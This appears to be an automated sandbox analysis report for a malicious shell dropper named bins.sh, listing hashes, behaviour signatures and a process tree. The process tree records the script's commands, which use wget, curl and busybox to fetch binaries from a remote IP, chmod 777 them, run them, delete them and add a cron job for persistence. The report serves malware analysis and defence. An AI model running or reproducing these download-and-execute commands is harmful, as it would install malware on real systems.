Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24-11-2024 08:42

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    00e6a838ebbbb8d44e8bde3072d71948

  • SHA1

    18ba68e4dc8af71f08dc42dc68055a295059cee5

  • SHA256

    e8edf9c2eda40f1e035b097be7b90505f3ff5a8c1c33aa3a5ddf8477b75b42be

  • SHA512

    a8395ad7797c42c32a6f073151b82aea873fa6c842131b0899ee95e667e0038619feddfc236a5b12c834fb6a032f31a0cd79e3f931da05269dda866616ebdc14

  • SSDEEP

    192:uTWqEbzElT+8s8V5fmlJRGmGxFNCiOn8s8V5alJRGm6xFNCi/WqEbzcq:unT+8s8V5fmlJRGmrn8s8V5alJRGmf

Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2191) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1501
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1502
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:1515
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /bin/chmod
          chmod 777 nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • File and Directory Permissions Modification
          PID:1517
        • /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          ./nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Executes dropped EXE
          PID:1518
        • /bin/rm
          rm nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
            PID:1520
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /bin/chmod
            chmod 777 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • File and Directory Permissions Modification
            PID:1524
          • /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            ./0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1525
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1527
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1528
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1529
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1530
                • /bin/rm
                  rm 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
                  2⤵
                    PID:1532
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
                    2⤵
                      PID:1535

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
                    Filesize

                    112KB

                    MD5

                    05d7857dcead18bbd86d2935f591873c

                    SHA1

                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                    SHA256

                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                    SHA512

                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                    Download Submit

                  • /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
                    Filesize

                    107KB

                    MD5

                    eb9c3a0de91fcf16ba17cb24608df68c

                    SHA1

                    09d95a7d70d5e115d103be51edff7c498d272fac

                    SHA256

                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                    SHA512

                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                    Download Submit

                  • /var/spool/cron/crontabs/tmp.3FIa8t
                    Filesize

                    210B

                    MD5

                    184d309c201d82ac10e6bd839bc6a310

                    SHA1

                    8a5ab6e4f27647aba745595aa4e5322fdde302ad

                    SHA256

                    0ababf6d6d11b5c5d3e9242f345b1b40a17d797134bc3a222201ea22dbaf3c59

                    SHA512

                    00163aa380f78fd52f9ce4667267c680e7367427c342e3d6284d36a2e6fb14d0352908954073444241fa95bc517c35b475c8f6ee73e48a919c0cc8bd66dc5e55

                    Download Submit